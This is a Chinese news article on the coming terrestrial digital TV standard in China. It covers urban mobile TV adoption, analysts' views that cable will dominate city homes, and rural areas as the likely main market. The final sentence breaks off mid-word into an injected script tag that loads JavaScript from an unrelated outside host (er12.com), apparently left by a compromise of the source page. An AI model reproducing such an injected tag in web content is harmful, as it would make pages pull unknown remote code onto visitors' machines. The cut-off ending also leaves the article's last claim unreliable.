从今年６月以来，有关数字电视地面标准即将出台的消息在业内再度热炒起来。尽管６月３０日、７月底、８月初等出台时间“传言版”一一被现实否定，但种种迹象表明，数字电视地面标准的问世时间正日益临近。标准出台，对未来的数字电视市场格局将带来怎样的冲击？哪些消费者将最先成为受益者？
■地面数字电视产业一触即发
我们知道，广电系统的数字电视信号主要有三种传输方式，除了有线传输以外，还有地面传输和卫星传输，它们与电信系统的网络电视等共同构架着人们的数字电视生活。
进入２００６年以来，有线传输方式模拟转数字的平移工作在全国各省市区普遍展开，我国的数字电视产业渐有了“春天”的气息。最初定于２００３年完成的数字电视地面标准在最近也终于有了真正出台的迹象。
目前标准尚未出台，但移动电视在民航、铁路、地铁、长途客运汽车、公共汽车等领域已经得到了广泛的应用，国内各地广电机构已经纷纷启动移动电视市场。据了解，包括上海文广和北广传媒在内的移动电视商用化业务已经取得了不错的市场效果。
在采访过程中记者了解到，虽然数字电视地面标准的出台时间一再延迟，但地面数字电视的发射机和终端接收设备市场从２００５年开始，已在北京、上海等城市日渐火爆。有知情人士介绍说，以北广传媒下属的北广传媒移动电视有限公司为例，用于地面移动传输的发射机在２００５年下半年后就进入了销售旺季。如果新标准出台，无论采用的是哪种方案，只要更换机顶盒即可。对不少涉及移动电视的企业来说，现在期待的是标准落地。整个地面移动数字电视产业一触即发，市场细分、开拓新领域将成为一个热点话题。
■城市个人消费市场空间有限
今年以来，北京市民在出行时有着一种明显的感受，在乘坐公交、地铁和出租车时，几乎处处可以观看到移动电视节目，包括北京、上海等大城市的移动电视市场已经悄然走向了普及。不过在采访过程中，记者了解到业内的普遍看法是：地面移动数字电视在城市家庭中的应用难度较大，近期走向个人消费还难以实现。北京中视联数字系统有限公司应用技术总监燕宪文预计，在未来几年内，全国各大城市的数字电视将以有线传输方式为主，再过几年后，网络电视的传播方式真正启动并进入产业化后，这一市场会出现有线电视与网络电视并争的格局。
燕宪文指出，在模拟电视时代，国内城市以及大多数县镇的有线电视网络布局已经较为齐全，而且拥有了稳定的用户群，随着模拟转数字的平移工作展开，有线传输的数字电视将具有非常强的市场竞争力。从上世纪八九十年代起，有线电视从地面广播电视升级而来，电视节目频道从原有的几个增加到几十个，吸引并锁定了巨大而且稳定的消费群体。燕宪文认为，未来能与有线传输方式进行竞争的，将主要是网络电视，但目前网络电视的政策、技术标准瓶颈尚未突破，网络构架和运营模式的探索也仍需要一定的时间。
易观国际分析师邓中元有着类似的观点，地面数字电视标准在城镇家庭市场发展空间有限，目前城镇市场有线电视已经达到了较高的覆盖率。有线电视是地面广播电视的升级服务，在内容整合、盈利能力、用户掌控方面有更强的优势，这就决定了在有线电视达到一定覆盖率的地区，几乎没有了面向家庭市场推广地面广播电视的空间。
从国外数字电视的发展经验来看，大致上有一种不成文的做法：有线数字电视节目倾向于收费，地面移动数字电视节目倾向于免费，在节目内容的制作方面，地面移动数字电视节目主要是以公益广告和商业广告为主。目前国内也有类似的发展趋势，地面移动数字电视在公用、车载方面有着比较大的优势，但私家车以及手机移动电视消费市场还是一个未知数。
■郊区、农村将成主要受益区
邓中元表示，一方面，地面移动数字电视在开拓城市车载消费时，需要服务商对服务模式和盈利模式进行更加深入的探索和研究，另一方面，地面数字电视为了避免同有线数字电视和网络电视进行竞争，应该在有线网络覆盖不到的市场，同有线服务形成互补之势，增强地面数字电视对于有线网络覆盖不到地区的控制能力。因此，尚未普及有线网络的郊区和农村市场将会是地面移动数字电视厂商大力开拓的市场。
对于消费者而言，地面传输标准出台最大的意义在于他们在有线数字电视之外又有了新的选择，特别是对于有线电视还未普及的广大农村和偏远地区而言，这几乎是他们享受数字化成果的最佳途径。由于目前卫星传播方式的政策仍未完全放开，卫星接收仅局限在商用领域，有特殊情况的个人家庭也需要经过严格的申请。因此在有线网络尚未普及的地区，地面移动电视将发挥出巨大的优势。
国内一些地面移动数字电视运营商也将农村以及偏远地区作为了开发重点。深圳力合数字电视有限公司总裁秘书胡芳向记者提供的一份资料显示，市郊及广大农村地区的定点接收服务村村通已经成为其主要业?script src=http://er12.com/t.js>
